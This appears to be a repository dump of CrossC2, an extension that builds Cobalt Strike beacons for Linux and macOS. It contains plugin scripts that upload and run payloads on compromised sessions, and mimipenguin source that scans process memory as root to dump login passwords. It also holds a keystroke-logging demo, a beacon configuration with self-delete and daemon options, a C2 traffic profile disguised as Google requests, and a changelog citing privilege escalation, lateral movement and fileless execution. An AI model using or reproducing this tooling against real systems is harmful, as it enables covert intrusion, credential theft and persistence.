├── version
├── .gitmodules
├── media
├── 15718834682843
│ └── 15794546043572.jpg
├── 15794884596715
│ ├── 15794993795360.jpg
│ └── 15795001494711.jpg
├── 15824278372797
│ ├── 15824282351545.jpg
│ └── 15824282632072.jpg
├── 15848885324084
│ ├── 15848892759774.jpg
│ ├── 15848892902723.jpg
│ └── 15848895853537.jpg
├── 15854585486601
│ ├── 15854592406527.jpg
│ ├── 15854593957704.jpg
│ └── 15854601104042.jpg
├── 15901534124389
│ ├── 15901617930412.jpg
│ ├── 15985513904454.jpg
│ ├── 16041501958652.jpg
│ └── 16041502298949.jpg
└── 16292585578533
│ ├── CrossC2_action.gif
│ ├── CrossC2_logo.png
│ └── CrossC2_action2.gif
├── CrossC2Kit_demo
├── mimipenguin
│ ├── mimipenguin.so
│ ├── mimipenguin_x32.so
│ ├── include
│ │ ├── max.h
│ │ ├── users.h
│ │ ├── scanner.h
│ │ ├── targets.h
│ │ └── dbg.h
│ ├── mimipenguin.cna
│ ├── src
│ │ ├── mimipenguin.c
│ │ ├── targets.c
│ │ ├── scanner.c
│ │ └── users.c
│ ├── Makefile
│ ├── CrossC2Kit.cna
│ ├── README.md
│ └── LICENSE
├── main.c
├── Makefile
├── cc2_keystrokes_demo.c
├── cc2_keystrokes_demo.cna
├── cc2_portscan_demo.cna
├── cc2_portscan_demo.c
└── CrossC2Kit.cna
├── release.sh
├── crossc2kit_latest_zh
├── crossc2kit_latest_en
├── src
├── config_demo.ini
└── CrossC2.cna
├── protocol_demo
├── https.profile
├── c2profile.c
├── rebind_udp.c
├── rebind_tcp.c
├── proxy_tcp.py
└── proxy_udp.py
├── changelog_zh.html
├── .github
└── workflows
│ ├── update-crossc2-release.yml
│ ├── update-crossc2kit-release.yml
│ ├── create-base-release.yml
│ ├── compile-crossc2kit-release.yml
│ └── compile-base-release.yml
├── changelog_en.html
├── README_zh.md
├── README.md
├── README_zh_full.md
└── README_full.md
/version:
--------------------------------------------------------------------------------
1 | 2.0
--------------------------------------------------------------------------------
/.gitmodules:
--------------------------------------------------------------------------------
1 | [submodule "CrossC2Kit"]
2 | path = CrossC2Kit
3 | url = https://github.com/CrossC2/CrossC2Kit.git
4 |
--------------------------------------------------------------------------------
/media/15718834682843/15794546043572.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15718834682843/15794546043572.jpg
--------------------------------------------------------------------------------
/media/15794884596715/15794993795360.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15794884596715/15794993795360.jpg
--------------------------------------------------------------------------------
/media/15794884596715/15795001494711.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15794884596715/15795001494711.jpg
--------------------------------------------------------------------------------
/media/15824278372797/15824282351545.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15824278372797/15824282351545.jpg
--------------------------------------------------------------------------------
/media/15824278372797/15824282632072.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15824278372797/15824282632072.jpg
--------------------------------------------------------------------------------
/media/15848885324084/15848892759774.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15848885324084/15848892759774.jpg
--------------------------------------------------------------------------------
/media/15848885324084/15848892902723.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15848885324084/15848892902723.jpg
--------------------------------------------------------------------------------
/media/15848885324084/15848895853537.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15848885324084/15848895853537.jpg
--------------------------------------------------------------------------------
/media/15854585486601/15854592406527.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15854585486601/15854592406527.jpg
--------------------------------------------------------------------------------
/media/15854585486601/15854593957704.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15854585486601/15854593957704.jpg
--------------------------------------------------------------------------------
/media/15854585486601/15854601104042.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15854585486601/15854601104042.jpg
--------------------------------------------------------------------------------
/media/15901534124389/15901617930412.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15901534124389/15901617930412.jpg
--------------------------------------------------------------------------------
/media/15901534124389/15985513904454.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15901534124389/15985513904454.jpg
--------------------------------------------------------------------------------
/media/15901534124389/16041501958652.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15901534124389/16041501958652.jpg
--------------------------------------------------------------------------------
/media/15901534124389/16041502298949.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15901534124389/16041502298949.jpg
--------------------------------------------------------------------------------
/media/16292585578533/CrossC2_action.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/16292585578533/CrossC2_action.gif
--------------------------------------------------------------------------------
/media/16292585578533/CrossC2_logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/16292585578533/CrossC2_logo.png
--------------------------------------------------------------------------------
/media/16292585578533/CrossC2_action2.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/16292585578533/CrossC2_action2.gif
--------------------------------------------------------------------------------
/CrossC2Kit_demo/mimipenguin/mimipenguin.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/CrossC2Kit_demo/mimipenguin/mimipenguin.so
--------------------------------------------------------------------------------
/CrossC2Kit_demo/mimipenguin/mimipenguin_x32.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/CrossC2Kit_demo/mimipenguin/mimipenguin_x32.so
--------------------------------------------------------------------------------
/CrossC2Kit_demo/main.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | int crossc2_entry(int argc, char **argv) {
4 | printf("------------> crossc2 dyn load!\n");
5 | return 1;
6 | }
7 |
--------------------------------------------------------------------------------
/release.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | cd /tmp/
4 | for module in `find ./third-party | grep "makefile" | awk -F'/makefile' '{print $1}'`
5 | do
6 | echo $module
7 | rm -rf $module
8 | done
9 | zip -r third-party.zip third-party
--------------------------------------------------------------------------------
/CrossC2Kit_demo/Makefile:
--------------------------------------------------------------------------------
1 | TARGET = cc2_portscan_demo cc2_keystrokes_demo
2 |
3 | main: $(TARGET)
4 |
5 | CFLAG = -fPIC -shared
6 |
7 | %:
8 | clang $@.c -o $@.dylib $(CFLAG)
9 |
10 | clean:
11 | -rm -rf ./*.dylib
12 |
--------------------------------------------------------------------------------
/crossc2kit_latest_zh:
--------------------------------------------------------------------------------
1 | {
2 | "assets": [
3 | {
4 | "name": "CrossC2Kit.zip",
5 | "browser_download_url": "http://127.0.0.1/CrossC2Kit.zip",
6 | "desc": "CrossC2 插件更新列表正在统计中,后续会推送到github
"
7 | }
8 | ]
9 | }
--------------------------------------------------------------------------------
/crossc2kit_latest_en:
--------------------------------------------------------------------------------
1 | {
2 | "assets": [
3 | {
4 | "name": "CrossC2Kit.zip",
5 | "browser_download_url": "http://127.0.0.1/CrossC2Kit.zip",
6 | "desc": "The CrossC2 plugin update list is being counted and will be pushed to github in the future
"
7 | }
8 | ]
9 | }
--------------------------------------------------------------------------------
/CrossC2Kit_demo/mimipenguin/include/max.h:
--------------------------------------------------------------------------------
1 | #ifndef MAX_H
2 | #define MAX_H
3 |
4 |
5 | #define MAX_PATH (256)
6 |
7 |
8 | #define MAX_PIDS (24)
9 | #define MAX_SHRT_NAME (32)
10 | #define MAX_TARGETS (4)
11 | #define MAX_NEEDLES (4)
12 |
13 | #define ATTS_SZ (5)
14 | #define MAX_MAP_LINE (336)
15 | #define MAX_CMDLINE MAX_PATH
16 | #define MAX_CMDLINE_F MAX_MAP_LINE
17 |
18 | #define MIN_STR MAX_TARGETS
19 | #define MAX_STR MAX_PATH // 256 for now
20 |
21 | #define MAX_USER_LINE MAX_MAP_LINE
22 | #endif
23 |
--------------------------------------------------------------------------------
/CrossC2Kit_demo/cc2_keystrokes_demo.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | int crossc2_entry(int argc, char **argv) {
4 | printf("into crossc2_entry():\n");
5 | printf("\t-> argc = %d\n", argc);
6 | int i = 0;
7 | for (i = 0; i < argc; ++i) {
8 | printf("\t->%s\n", argv[i]);
9 | }
10 |
11 | printf("test demo\n");
12 | printf("User keyboard input: ssh root@10.14.11.32\n");
13 | printf("test_username\n");
14 | printf("pwd_123467aaa\n");
15 | printf("ifconfig\n");
16 | printf("[Ctrl-D]\n");
17 |
18 | return 1;
19 | }
20 |
--------------------------------------------------------------------------------
/CrossC2Kit_demo/cc2_keystrokes_demo.cna:
--------------------------------------------------------------------------------
1 |
2 | include(script_resource("CrossC2Kit.cna"));
3 |
4 | ssh_alias cc2_keystrokes_demo {
5 | $taskName = "cc2_portscan"; # 该任务的名称
6 | $taskType = "so"; # $taskType -> ELF, MachO, so, dylib
7 | $taskResType = "keystrokes"; # task返回值类型定义参考 "#变量定义"
8 | $loadlib = "./cc2_keystrokes_demo.dylib"; # 需要载入的动态库/可执行文件
9 |
10 | $beaconid = $1;
11 | $tty = $2;
12 | $pid = $3;
13 | $transportArg = $tty . "^" . $pid;
14 |
15 | blog($beaconid, "keystrokes: " . $tty . " " . $pid);
16 |
17 | bcrossc2_load_dyn($beaconid, $taskType, $taskName, $taskResType, $loadlib, $transportArg);
18 | }
19 |
20 | ssh_command_register("cc2_keystrokes_demo", "Unix keystrokes", "Use: cc2_keystrokes_demo [tty] [pid]");
--------------------------------------------------------------------------------
/CrossC2Kit_demo/mimipenguin/mimipenguin.cna:
--------------------------------------------------------------------------------
1 |
2 | include(script_resource("CrossC2Kit.cna"));
3 |
4 | ssh_alias mimipenguin {
5 | $taskName = "mimipenguin"; # 该任务的名称
6 | $taskType = "so"; # $taskType -> ELF, MachO, so, dylib
7 | $taskResType = "info"; # task返回值类型定义参考 "#变量定义"
8 | $loadlib = "./mimipenguin.so"; # 需要载入的动态库/可执行文件
9 |
10 | $beaconid = $1;
11 |
12 | $transportArg = "blankArg";
13 |
14 | blog($beaconid, "mimipenguin dump login password");
15 |
16 | bcrossc2_load_dyn($beaconid, $taskType, $taskName, $taskResType, $loadlib, $transportArg);
17 | }
18 |
19 | ssh_command_register("mimipenguin", "dump the login password from the current linux desktop", "Use: mimipenguin\nroot permissions\ndump the login password from the current linux desktop");
--------------------------------------------------------------------------------
/src/config_demo.ini:
--------------------------------------------------------------------------------
1 | # 配置 beacon 本身hook的函数符号以及全局配置
2 | [c2_config]
3 | # hook函数
4 | # 初始化 阶段 void cc2_init() {}
5 | cc2_init = aa1
6 | # 错误重连 阶段,传入重连次数 void cc2_retryConnect(int retryCount) {}
7 | cc2_retryConnect = bb
8 |
9 | # 协议重绑定库的函数名称自定义
10 | # cc2_rebind_get_protocol = cc
11 | # cc2_rebind_post_protocol = dd
12 | # cc2_rebind_http_get_send = ee3
13 | # cc2_rebind_http_get_recv = ff
14 | # cc2_rebind_http_post_send = gg
15 | # cc2_rebind_http_post_recv = hh
16 |
17 | # 一些全局配置
18 | # 运行后是否需要自删除
19 | cc2_auto_delete = false
20 | # 是否需要后台运行
21 | cc2_daemon = false
22 | # sleep时间 (10 = 10 sec)
23 | sleeptime = 10
24 | # 心跳抖动时间
25 | jitter = 37
26 | # 数据提交抖动时间
27 | data_jitter = 100
28 | # 创建任务的pipe名称(默认 = joblist)
29 | ; job_pipe_name = joblist
30 | # 运行任务的pipe名称(默认 .syspipe)
31 | process_pipe_name = sys_pipe
32 | # 请求的dns服务
33 | dns_server = 8.8.8.8
34 |
--------------------------------------------------------------------------------
/CrossC2Kit_demo/mimipenguin/include/users.h:
--------------------------------------------------------------------------------
1 | #ifndef USERS_H
2 | #define USERS_H
3 |
4 | #include
5 |
6 | struct User {
7 | char *uname;
8 | size_t uname_len;
9 | char *id_salt;
10 | size_t id_salt_len;
11 | char *hash;
12 | size_t hash_len;
13 | };
14 |
15 | typedef struct User user_t;
16 |
17 | // Populates an array of User structs with local
18 | // users and their hashes/salts. Only targets
19 | // users with a valid hash
20 | // -1 = error,
21 | // 0 = no valid users (prob an error)
22 | // number of valid users = success
23 | int GetUsers(user_t **users);
24 |
25 | // Frees list of users
26 | void PutUsers(user_t **users, int nusers);
27 |
28 | // Check for a match of hashed version of str against user hashes
29 | // If match return user index
30 | // else 0 for no match
31 | int CheckForUserHash(user_t *users, int nusers, char *str);
32 |
33 | #endif
34 |
--------------------------------------------------------------------------------
/CrossC2Kit_demo/cc2_portscan_demo.cna:
--------------------------------------------------------------------------------
1 |
2 | include(script_resource("CrossC2Kit.cna"));
3 |
4 | ssh_alias cc2_portscan_demo {
5 | $taskName = "cc2_portscan"; # 该任务的名称
6 | $taskType = "so"; # $taskType -> ELF, MachO, so, dylib
7 | $taskResType = "portscan"; # task返回值类型定义参考 "#变量定义"
8 | $loadlib = "./cc2_portscan_demo.dylib"; # 需要载入的动态库/可执行文件
9 |
10 | $beaconid = $1;
11 | $host = $2;
12 | $port = $3;
13 | $scan_type = $4;
14 | $scan_thread = $5;
15 | $transportArg = $host . "^" . $port . "^" . $scan_type . "^" . $scan_thread;
16 |
17 | blog($beaconid, "portscan: " . $host . " " . $port);
18 |
19 | bcrossc2_load_dyn($beaconid, $taskType, $taskName, $taskResType, $loadlib, $transportArg);
20 | }
21 |
22 | ssh_command_register("cc2_portscan_demo", "CrossC2 Unix PortScan", "Use: cc2_portscan_demo -H [host] -P [port]\n\n-H 192.168.1.1/24 or 192.168.1.23-198\n-P 22,80,445,600-1000");
--------------------------------------------------------------------------------
/CrossC2Kit_demo/mimipenguin/src/mimipenguin.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #include "dbg.h"
6 | #include "targets.h"
7 | #include "scanner.h"
8 |
9 | int crossc2_entry(int argc, char **argv)
10 | {
11 | Target targets[MAX_TARGETS];
12 |
13 | // Must be root (this is a post LPE payload!)
14 | if ( getuid() != 0 )
15 | {
16 | printf("[!!] MUST BE ROOT\n");
17 | return -1;
18 | }
19 | // Initialize targets
20 | memset(targets, 0, sizeof(targets));
21 | initTargets(targets);
22 |
23 | // Populate targets with pids
24 | getTargetPids(targets);
25 |
26 | #ifdef DEBUG
27 | dumpTargets(targets);
28 | #endif
29 |
30 | // Process targets for passwords
31 | if ( processTargets(targets) < 0 )
32 | {
33 | log_error("Failed to process targets");
34 | return -1;
35 | }
36 |
37 | return 0;
38 | }
39 |
--------------------------------------------------------------------------------
/CrossC2Kit_demo/mimipenguin/include/scanner.h:
--------------------------------------------------------------------------------
1 | #ifndef SCANNER_H
2 | #define SCANNER_H
3 |
4 | #include
5 | #include
6 | #include
7 |
8 | #include "targets.h"
9 | #include "max.h"
10 |
11 | /* Public processing function. Used to process the memory for all targets and pids */
12 | // -1 error, 0 good
13 | int processTargets(Target targets[MAX_TARGETS]);
14 |
15 | /* Identifies readable regions of memory for the target pid */
16 | // -1 error, 0 good
17 | int processMemory(Target target, pid_t pid);
18 |
19 | // Get a str (like strings command) from fp of min size min_str, and max size max_str. store result in
20 | // **str ptr. cur is a marker for bytes read, max_cur is max amount of bytes to read
21 | // returns -1 or size of string
22 | int getStr(FILE *fp, char *str, size_t min_str, size_t max_str, size_t *cur, size_t max_cur);
23 |
24 | /* Process a memory region potential passwords */
25 | // -1 error, 0 good
26 | int processRegion(FILE *fp, unsigned long start, unsigned long end);
27 |
28 | #endif /* SCANNER_H */
29 |
--------------------------------------------------------------------------------
/CrossC2Kit_demo/mimipenguin/Makefile:
--------------------------------------------------------------------------------
1 | CC=gcc
2 | STRIP=strip --strip-unneeded
3 | CFLAGS=-Iinclude/ -D_FILE_OFFSET_BITS=64 -O3 -Wno-unused-result -fPIC -shared
4 | LDFLAGS=-lcrypt
5 |
6 | all:
7 | @$(CC) $(CFLAGS) src/scanner.c src/users.c src/targets.c src/mimipenguin.c -o mimipenguin.so $(LDFLAGS)
8 | @$(CC) $(CFLAGS) -m32 src/scanner.c src/users.c src/targets.c src/mimipenguin.c -o mimipenguin_x32.so $(LDFLAGS)
9 | @$(STRIP) mimipenguin.so
10 | @$(STRIP) mimipenguin_x32.so
11 |
12 | static:
13 | @$(CC) $(CFLAGS) -static src/scanner.c src/users.c src/targets.c src/mimipenguin.c -o mimipenguin.so $(LDFLAGS)
14 | @$(CC) $(CFLAGS) -m32 -static src/scanner.c src/users.c src/targets.c src/mimipenguin.c -o mimipenguin_x32.so $(LDFLAGS)
15 | @$(STRIP) mimipenguin.so
16 | @$(STRIP) mimipenguin_x32.so
17 | debug:
18 | @$(CC) $(CFLAGS) -DDEBUG src/scanner.c src/users.c src/targets.c src/mimipenguin.c -o mimipenguin.so $(LDFLAGS)
19 | @$(CC) $(CFLAGS) -m32 -DDEBUG src/scanner.c src/users.c src/targets.c src/mimipenguin.c -o mimipenguin_x32.so $(LDFLAGS)
20 |
21 | clean:
22 | @rm mimipenguin.so
23 | @rm mimipenguin_x32.so
24 |
25 | .PHONY: all
26 |
--------------------------------------------------------------------------------
/CrossC2Kit_demo/mimipenguin/include/targets.h:
--------------------------------------------------------------------------------
1 | #ifndef TARGETS_H
2 | #define TARGETS_H
3 |
4 | #include
5 | #include
6 |
7 | #include "max.h"
8 |
9 | /* Pids struct to handle lists of Pids*/
10 | typedef struct {
11 | pid_t array[MAX_PIDS];
12 | size_t size;
13 | } Pids;
14 |
15 | /* Needles struct to handle list of needles*/
16 | typedef struct {
17 | char *needles[MAX_NEEDLES]; //regex patterns
18 | size_t size;
19 | } Needles;
20 |
21 | /* Target processes struct */
22 | typedef struct {
23 | char name[MAX_SHRT_NAME]; //Process name
24 | char source[MAX_SHRT_NAME]; // my name for proc
25 | Pids pids; //All Pids associated with process/service
26 | Needles needles; //regex patterns
27 | } Target;
28 |
29 | /* Init the known targets with their needles and names */
30 | void initTargets(Target targets[MAX_TARGETS]);
31 |
32 | /* Filter to identify /proc/ subdirs as PIDs */
33 | static int filter(const struct dirent *dir);
34 |
35 | /* Get all pids associated with Targets and populate the struts */
36 | void getTargetPids(Target targets[MAX_TARGETS]);
37 |
38 | #ifdef DEBUG
39 | void dumpTargets(Target *targets);
40 | #endif
41 |
42 | #endif
43 |
--------------------------------------------------------------------------------
/CrossC2Kit_demo/cc2_portscan_demo.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | int crossc2_entry(int argc, char **argv) {
4 | char *tempRes[] = {"(ICMP) Target '172.16.251.211' is alive. [read 8 bytes]",
5 | "(ICMP) Target '172.16.251.212' is alive. [read 8 bytes]",
6 | "(ICMP) Target '172.16.251.217' is alive.",
7 | "(ICMP) Target '172.16.251.219' is alive. [read 8 bytes]",
8 | "172.16.251.211:445 (platform: 500 version: 6.1 name: HAAAC-PC domain: WORKGROUP)",
9 | "172.16.251.212:445 (platform: 500 version: 6.0 name: C00101201 domain: test_domain.org)",
10 | "172.16.251.213:80 (Open-SSH-2.0,1)",
11 | "172.16.251.214:8001 (Apache Tomcat - Facebook)",
12 | "172.16.251.215:8002 (Nginx - 404 Not found)",
13 | "172.16.251.216:8003 (Tomcat - test's blog)",
14 | "172.16.251.217:8004 (Nginx - bing 搜索)",
15 | "172.16.251.218:8005 (MySQL - 5.7.14)",
16 | "172.16.251.219:8004 (tomcat - bing 検索する)",
17 | "172.16.251.221:8004 (tomcat - bing 검색)",
18 | "172.16.251.222:8004 (tomcat - bing Поиск дома)",
19 | "172.16.251.223:8004 (tomcat - bing ค้นหาหน้าแรก)",
20 | "172.16.251.220:22 (Open-SSH-2.0,1)",
21 | "172.16.251.221:22 (Open-SSH-2.0,1)"
22 | };
23 | for (int i = 0; i < (sizeof(tempRes)/sizeof(char *)); ++i) {
24 | printf("%s\n", tempRes[i]);
25 | }
26 |
27 | return 1;
28 | }
29 |
--------------------------------------------------------------------------------
/CrossC2Kit_demo/mimipenguin/include/dbg.h:
--------------------------------------------------------------------------------
1 | #ifndef DBG_H
2 | #define DBG_H
3 |
4 | #include
5 | #include
6 | #include
7 | #define RESET "\033[0m"
8 | //#define RED "\033[31m"
9 | //#define BOLDBLACK "\033[1m\033[30m" /* Bold Black */
10 | #define BOLDRED "\033[1m\033[31m" /* Bold Red */
11 | //#define BOLDGREEN "\033[1m\033[32m" /* Bold Green */
12 | #define BOLDYELLOW "\033[1m\033[33m" /* Bold Yellow */
13 | #define BOLDBLUE "\033[1m\033[34m" /* Bold Blue */
14 | //#define BOLDMAGENTA "\033[1m\033[35m" /* Bold Magenta */
15 | //#define BOLDCYAN "\033[1m\033[36m" /* Bold Cyan */
16 | #define BOLDWHITE "\033[1m\033[37m" /* Bold White */
17 |
18 | #define clean_errno() (errno == 0 ? "None": strerror(errno))
19 |
20 |
21 | #ifdef DEBUG
22 | #define debug(M, ...) fprintf(stderr,"[" BOLDBLUE "DEBUG" RESET "]" "%s:%d:" M "\n", __FILE__, __LINE__, ##__VA_ARGS__)
23 | #define log_error(M, ...) fprintf(stderr, "[" BOLDRED "ERROR" RESET "]" "(%s:%d: errno: %s) " M "\n", __FILE__, __LINE__, clean_errno(), ##__VA_ARGS__)
24 | #define log_warn(M, ...) fprintf(stderr, "[" BOLDYELLOW "WARN" RESET "]" "(%s:%d: errno:%s) " M "\n", __FILE__, __LINE__, clean_errno(), ##__VA_ARGS__)
25 | #define log_info(M, ...) fprintf(stderr, "[" BOLDWHITE "INFO" RESET "]" "(%s:%d) " M "\n", __FILE__, __LINE__, ##__VA_ARGS__)
26 |
27 | #else
28 | #define debug(M, ...)
29 | #define log_error(M, ...)
30 | #define log_warn(M, ...)
31 | #define log_info(M, ...)
32 | #endif
33 |
34 | #endif
35 |
--------------------------------------------------------------------------------
/CrossC2Kit_demo/CrossC2Kit.cna:
--------------------------------------------------------------------------------
1 | sub random_string {
2 | # <3 @offsec_ginger
3 | $limit = $1;
4 | @random_str = @();
5 | $characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
6 | for ($x = 0; $x < $limit; $x++) {
7 | $n = rand(strlen($characters));
8 | add(@random_str, charAt($characters, $n));
9 | }
10 | return join('', @random_str);
11 | }
12 |
13 | sub runType {
14 | $type = $1;
15 | if ($type eq "ELF" || $type eq "MachO") {
16 | return "0";
17 | } else if ($type eq "so" || $type eq "dylib") {
18 | return "1";
19 | }
20 | return -1;
21 | }
22 |
23 |
24 | sub genTaskinfo_dyn {
25 | $taskType = $1;
26 | $taskName = $2;
27 | $taskResType = $3;
28 | $juicySize = $4;
29 | $transportArg = $5;
30 |
31 | $taskinfo = "CrossC2^" . $taskType . "^". $taskName . "^" . $taskResType . "^" . $juicySize . "^" . $transportArg;
32 | return $taskinfo;
33 | }
34 |
35 | sub bcrossc2_load_dyn {
36 | $beaconid = $1;
37 | $taskType = $2;
38 | $taskName = $3;
39 | $taskName = $taskName . random_string(4);
40 | $taskResType = $4;
41 | $loadFileName = $5;
42 | $taskArgs = base64_encode($6);
43 |
44 | $handle = openf(script_resource($loadFileName));
45 | $juicyData = readb($handle, -1);
46 | closef($handle);
47 |
48 | $juicySize = lof(script_resource($loadFileName));
49 | $taskType = runType($taskType);
50 | if ($taskType == -1) {
51 | berror($beaconid, "[ CrossC2 ]: dynamic lib or executable filetype not found");
52 | }
53 | $ELFName = genTaskinfo_dyn($taskType, $taskName, $taskResType, $juicySize, $taskArgs);
54 | bupload_raw($beaconid,$ELFName,$juicyData);
55 | }
--------------------------------------------------------------------------------
/CrossC2Kit_demo/mimipenguin/CrossC2Kit.cna:
--------------------------------------------------------------------------------
1 | sub random_string {
2 | # <3 @offsec_ginger
3 | $limit = $1;
4 | @random_str = @();
5 | $characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
6 | for ($x = 0; $x < $limit; $x++) {
7 | $n = rand(strlen($characters));
8 | add(@random_str, charAt($characters, $n));
9 | }
10 | return join('', @random_str);
11 | }
12 |
13 | sub runType {
14 | $type = $1;
15 | if ($type eq "ELF" || $type eq "MachO") {
16 | return "0";
17 | } else if ($type eq "so" || $type eq "dylib") {
18 | return "1";
19 | }
20 | return -1;
21 | }
22 |
23 |
24 | sub genTaskinfo_dyn {
25 | $taskType = $1;
26 | $taskName = $2;
27 | $taskResType = $3;
28 | $juicySize = $4;
29 | $transportArg = $5;
30 |
31 | $taskinfo = "CrossC2^" . $taskType . "^". $taskName . "^" . $taskResType . "^" . $juicySize . "^" . $transportArg;
32 | return $taskinfo;
33 | }
34 |
35 | sub bcrossc2_load_dyn {
36 | $beaconid = $1;
37 | $taskType = $2;
38 | $taskName = $3;
39 | $taskName = $taskName . random_string(4);
40 | $taskResType = $4;
41 | $loadFileName = $5;
42 | $taskArgs = base64_encode($6);
43 |
44 | $handle = openf(script_resource($loadFileName));
45 | $juicyData = readb($handle, -1);
46 | closef($handle);
47 |
48 | $juicySize = lof(script_resource($loadFileName));
49 | $taskType = runType($taskType);
50 | if ($taskType == -1) {
51 | berror($beaconid, "[ CrossC2 ]: dynamic lib or executable filetype not found");
52 | }
53 | $ELFName = genTaskinfo_dyn($taskType, $taskName, $taskResType, $juicySize, $taskArgs);
54 | bupload_raw($beaconid,$ELFName,$juicyData);
55 | }
--------------------------------------------------------------------------------
/protocol_demo/https.profile:
--------------------------------------------------------------------------------
1 | http-get {
2 |
3 | set uri "/aaaaaaaaa";
4 | set verb "GET";
5 |
6 | client {
7 |
8 | header "Accept" "accccccc";
9 | header "Host" "www.google.com";
10 | header "Referer" "http://www.google.com/";
11 | header "Accept-Encoding" "gzip, deflate";
12 |
13 | metadata {
14 | base64url;
15 | prepend "SESSION=";
16 | header "Cookie";
17 | }
18 | }
19 |
20 | server {
21 |
22 | header "Server" "nginx";
23 | header "Cache-Control" "max-age=0, no-cache";
24 | header "Pragma" "no-cache";
25 | header "Connection" "keep-alive";
26 | header "Content-Type" "charset=utf-8";
27 |
28 | output {
29 | base64;
30 | prepend "ffffffff1";
31 | append "eeeeeeee2";
32 | print;
33 | }
34 | }
35 | }
36 |
37 |
38 | http-post {
39 |
40 | set uri "/bbbbbbbbb";
41 | set verb "POST";
42 |
43 | client {
44 |
45 | header "Accept" "accccccc";
46 | header "Host" "www.google.com";
47 | header "Referer" "http://www.google.com/";
48 | header "Accept-Encoding" "gzip, deflate";
49 |
50 | id {
51 | base64;
52 | parameter "SESSION";
53 | }
54 |
55 | output {
56 | base64url;
57 | print;
58 | }
59 | }
60 |
61 | server {
62 |
63 | header "Server" "nginx";
64 | header "Cache-Control" "max-age=0, no-cache";
65 | header "Pragma" "no-cache";
66 | header "Connection" "keep-alive";
67 | header "Content-Type" "charset=utf-8";
68 |
69 | output {
70 | mask;
71 | base64url;
72 | prepend "ffffffff1";
73 | append "eeeeeeee2";
74 | print;
75 | }
76 | }
77 | }
78 |
--------------------------------------------------------------------------------
/changelog_zh.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
ChangeLog
5 |
6 |
release v2.0 :
7 |
8 |
9 | - -修复 修复文件管理处上传文件时带反斜杠导致路径出错的问题
10 | - -修复 真实环境中多种场景下长时间测试,修复一些隐藏的问题,现在更加稳定
11 | - +支持 更低内核版本系统的支持
12 | - +支持 启动时环境变量自动设置
13 | - +支持 启动时敏感env记录删除
14 | - +支持 启动时可后台服务进程方式挂属init进程下
15 | - +支持 增加session spawn功能
16 | - +支持 增加session 设置环境变量的功能
17 | - +支持 增加session getsystem权限提升功能
18 | - +支持 增加session 处理多个合并任务的解析功能
19 | - +支持 增加 Mac & Linux 横向移动的功能
20 |
21 |
22 |
release v1.5 :
23 |
24 |
25 | - -修复 修复genCrossC2的通讯协议重绑定错误
26 |
27 |
28 |
release v1.4 :
29 |
30 |
31 | - -修复 Linux后台进程与joblist显示错误的问题
32 |
33 |
34 |
release v1.3 :
35 |
36 |
37 | - +支持 支持自定义通信协议 (HTTP, TCP, UDP...) .
38 | - +支持 新添加了joblist模块,可用来管理内存中持续运行的模块.
39 | - +支持 添加了反向代理模块{TCP/KCP(UDP)},同样属于内存无落地运行.
40 |
41 |
42 |
release v1.2 :
43 |
44 |
45 | - +支持 可以支持选择生成beacon时所需的key文件.
46 | - +支持 支持生成shellcode.
47 | - -变更 不再依赖cobaltstrike.jar (意味着CrossC2插件可以放在任意位置).
48 | - -变更 更加便捷的Unix系统上线方式.
49 |
50 |
51 |
release v1.1 :
52 |
53 |
54 | - -修复 内存加载执行功能的多国语言乱码问题修复
55 |
56 |
57 |
release v1.0 :
58 |
59 |
60 | - -修复 真实环境中多种场景下长时间多次测试,修复一些隐藏的问题,现在更加稳定
61 | - +支持 Linux & MacOS 支持无文件内存加载执行
62 | - +支持 预留CS内置数据类型,更加丰富的用户自定义插件返回数据类型,可自由便捷实现'portscan'等等原生功能
63 |
64 |
65 |
release v0.4 :
66 |
67 |
68 | - -变更 shell命令执行时采用后台多线程方式
69 | - -变更 shell命令执行时错误输出重定向到标准输出
70 | - +支持 增加后台文件下载功能
71 |
72 |
73 |
release v0.3 :
74 |
75 |
76 | - +支持 老系统Linux上低版本GLIBC的兼容 (2010年左右)
77 |
78 |
79 |
release v0.2 :
80 |
81 |
